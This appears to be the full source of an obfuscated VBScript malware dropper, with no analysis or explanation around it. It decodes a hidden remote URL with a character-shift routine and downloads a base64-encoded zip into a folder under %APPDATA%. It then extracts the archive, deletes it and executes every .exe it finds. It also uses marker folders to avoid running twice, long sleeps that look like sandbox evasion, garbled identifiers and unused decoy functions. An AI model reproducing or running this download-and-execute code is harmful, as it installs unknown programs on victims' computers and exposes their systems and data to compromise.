GRL23

Option Explicit
dim D7v,Y9l,W3o

Function GTEK( myPassPhrase )
    Dim i, arrCode( )
    ReDim arrCode( Len( myPassPhrase ) - 1 )
    For i = 0 To UBound( arrCode )
        arrCode(i) = Asc( Mid( myPassPhrase, i + 1, 1 ) )
    Next
    GTEK = arrCode
End Function
Function Jkdkdkd(G1g)
       For D7v = 1 To Len(G1g)
         Y9l = Mid(G1g, D7v, 1)
         Y9l = Chr(Asc(Y9l)+ 10)
         W3o = W3o + Y9l
       Next
       Jkdkdkd = W3o
End Function
Function tOuwwxzACCEFHHK( myFileIn, myFileOut, arrCode )
    Dim i, jrtLLNOQQRRTVVWYY, ColtDDEGIJLLNOQQRTVWYIn, ColtDDEGIJLLNOQQRTVWYOut, objStreamIn
    Const ForAppending       =  8
    Const ForReading         =  1
    Const ForWriting         =  2
    Const TristateFalse      =  0
    Const TristateMixed      = -2
    Const TristateTrue       = -1
    Const TristateUseDefault = -2
    On Error Resume Next
    If Not IsArray( arrCode ) Then
        arrCode = Array( arrCode )
    End If
    For i = 0 To UBound( arrCode )
        If Not IsNumeric( arrCode(i) ) Then
            Encode = 1032
            Exit Function
        End If
        If arrCode(i) < 0 Or arrCode(i) > 255 Then
            Encode = 1031
            Exit Function
        End If
    Next
    Set jrtLLNOQQRRTVVWYY = CreateObject( "Scripting.FileSystemObject" )
    If jrtLLNOQQRRTVVWYY.FileExists( myFileIn ) Then
        Set ColtDDEGIJLLNOQQRTVWYIn   = jrtLLNOQQRRTVVWYY.GetFile( myFileIn )
        Set objStreamIn = ColtDDEGIJLLNOQQRTVWYIn.OpenAsTextStream( ForReading, TriStateFalse )
    Else
        Encode = 53
        objStreamIn.Close
        Set objStreamIn = Nothing
        Set ColtDDEGIJLLNOQQRTVWYIn   = Nothing
        Set jrtLLNOQQRRTVVWYY      = Nothing
        Exit Function
    End If
    If jrtLLNOQQRRTVVWYY.FileExists( myFileOut ) Then
        Encode = 58
        objStreamIn.Close
        Set objStreamIn = Nothing
        Set ColtDDEGIJLLNOQQRTVWYIn   = Nothing
        Set jrtLLNOQQRRTVVWYY      = Nothing
        Exit Function
    Else
        Set ColtDDEGIJLLNOQQRTVWYOut = jrtLLNOQQRRTVVWYY.CreateTextFile( myFileOut, True, False )
    End If
    i = 0
    Do Until objStreamIn.AtEndOfStream
        i = ( i + 1 ) \ ( UBound( arrCode ) + 1 )
        ColtDDEGIJLLNOQQRTVWYOut.Write Chr( Asc( objStreamIn.Read( 1 ) ) Xor arrCode(i) )
    Loop
    ColtDDEGIJLLNOQQRTVWYOut.Close
    objStreamIn.Close
    Set objStreamIn = Nothing
    Set ColtDDEGIJLLNOQQRTVWYIn   = Nothing
    Set ColtDDEGIJLLNOQQRTVWYOut  = Nothing
    Set jrtLLNOQQRRTVVWYY      = Nothing
    Encode = Err.Number
    Err.Clear
    On Error Goto 0
End Function
Function kmmnpprsuwwxzBBCEEFHJJKMOOPRRSUUWXZZbcceghhjkkmopprttuwxxzBBCEGGHJJLMOOPRTTUWWYZZb()
dim mqXFFRJUWm
Set mqXFFRJUWm = CreateObject("Scripting.FileSystemObject")
If (mqXFFRJUWm.FolderExists((PSTLM) )) Then
WScript.Quit()
End If
End Function
DIM DZIP,N_VR,CLK,qrrtvvwyzzBDEEGIIJLLMOQQR,OBJikkmnpprsuuvxxzACCE,STPASTALOKA,PSTLM,NMEXE,objFeSO
DZIP     = Jkdkdkd("^jjf0%%'&*$*+$('-$'(-0**)%Cedefebojeeba)$_ie")
Set OBJikkmnpprsuuvxxzACCE = CreateObject( "WScript.Shell" )
qrrtvvwyzzBDEEGIIJLLMOQQR = OBJikkmnpprsuuvxxzACCE.ExpandEnvironmentStrings(StrReverse("%ATADPPA%"))
N_VR = "A99449C3092CE70964CE715CF7BB75B.zip"
WScript.Sleep 100
PSTLM = qrrtvvwyzzBDEEGIIJLLMOQQR + "\nbrfouds"
kmmnpprsuwwxzBBCEEFHJJKMOOPRRSUUWXZZbcceghhjkkmopprttuwxxzBBCEGGHJJLMOOPRTTUWWYZZb
STPASTALOKA = PSTLM
WScript.Sleep 100
TEMMORRE
WScript.Sleep 100
DVVWYaddfgikllooqsttvxyyABBDFGGIKKLNPPQSSTV
WScript.Sleep 32303
XCIKKLNPQQSTVVYYacddfhhikllnppqsuuvxx
WScript.Sleep 32210
DCJLMOQRTTWWYZbdeegijjlmmoqrrtvvwyzzBDDEGII
WScript.Sleep 2424
DCFGIKLNNOQSTTVXYaacdffgiiklnnpqqstvvxyyACDDFHHIKLLNPPQSU
WScript.Sleep 124
Function DCFGIKLNNOQSTTVXYaacdffgiiklnnpqqstvvxyyACDDFHHIKLLNPPQSU()
Dim ClqtUWXXZbbceBDEGGIJLLLM,jxtMMOOPRTTUUWYZZb,jrtLLNOQQRRTVVWYYw,ColtDDEGIJLLNOQQRTVWY
Set ClqtUWXXZbbceBDEGGIJLLLM = WScript.CreateObject( "WScript.Shell" )
WScript.Sleep 70
Set jrtLLNOQQRRTVVWYYw = CreateObject( "Scripting.FileSystemObject" )
WScript.Sleep 50
WScript.Sleep 50
Set jxtMMOOPRTTUUWYZZb = jrtLLNOQQRRTVVWYYw.GetFolder(PSTLM)
WScript.Sleep 40
WScript.Sleep 50
Set ColtDDEGIJLLNOQQRTVWY = jxtMMOOPRTTUUWYZZb.Files
WScript.Sleep 60
WScript.Sleep 50
WScript.Sleep 100
For Each ColtDDEGIJLLNOQQRTVWY in ColtDDEGIJLLNOQQRTVWY
If UCase(jrtLLNOQQRRTVVWYYw.GetExtensionName(ColtDDEGIJLLNOQQRTVWY.name)) = UCase(Chr(69)) & UCase(Chr(88)) &UCase(Chr(69)) Then
NMEXE = ColtDDEGIJLLNOQQRTVWY.Name
ClqtUWXXZbbceBDEGGIJLLLM.Exec(PSTLM & UCase(Chr(92)) & ColtDDEGIJLLNOQQRTVWY.Name)
WScript.Sleep 44
End If
Next
End Function
Function TEMMORRE()
SET objFeSO = CREATEOBJECT("Scripting.FileSystemObject")
IF objFeSO.FolderExists(qrrtvvwyzzBDEEGIIJLLMOQQR + "\JUNKERDAT") = TRUE THEN WScript.Quit() END IF
IF objFeSO.FolderExists(STPASTALOKA) = FALSE THEN
objFeSO.CreateFolder STPASTALOKA
objFeSO.CreateFolder OBJikkmnpprsuuvxxzACCE.ExpandEnvironmentStrings(StrReverse("%ATADPPA%")) + "\JUNKERDAT"
END IF
End Function
Function CalculateArea(Radius)
    CalculateArea = Radius * Radius * 3.14159
End Function
Function XCIKKLNPQQSTVVYYacddfhhikllnppqsuuvxx()
DIM ClqtUWXXZbbceBDEGGIJLL,FilesInZip
set ClqtUWXXZbbceBDEGGIJLL = CreateObject("Shell.Application")
set FilesInZip=ClqtUWXXZbbceBDEGGIJLL.NameSpace(PSTLM & UCase(Chr(92)) & N_VR).items
ClqtUWXXZbbceBDEGGIJLL.NameSpace(PSTLM & UCase(Chr(92))).CopyHere(FilesInZip), UCase(Chr(52))
Set ClqtUWXXZbbceBDEGGIJLL = Nothing
End Function
Function DCJLMOQRTTWWYZbdeegijjlmmoqrrtvvwyzzBDDEGII()
DIM jrtLLNOQQRRTVVWYYxsd
Set jrtLLNOQQRRTVVWYYxsd = Createobject("Scripting.FileSystemObject")
jrtLLNOQQRRTVVWYYxsd.DeleteFile PSTLM & UCase(Chr(92)) & N_VR
End Function
Function DVVWYaddfgikllooqsttvxyyABBDFGGIKKLNPPQSSTV()
DIM req
Set req = CreateObject("Msxml2.XMLHttp.6.0")
req.open "GET", DZIP, False
req.send
If req.Status = 200 Then
 Dim oNode, BinaryStream
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.text = req.responseText
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.Write oNode.nodeTypedValue
BinaryStream.SaveToFile PSTLM & UCase(Chr(92)) & N_VR, adSaveCreateOverWrite
End if
End Function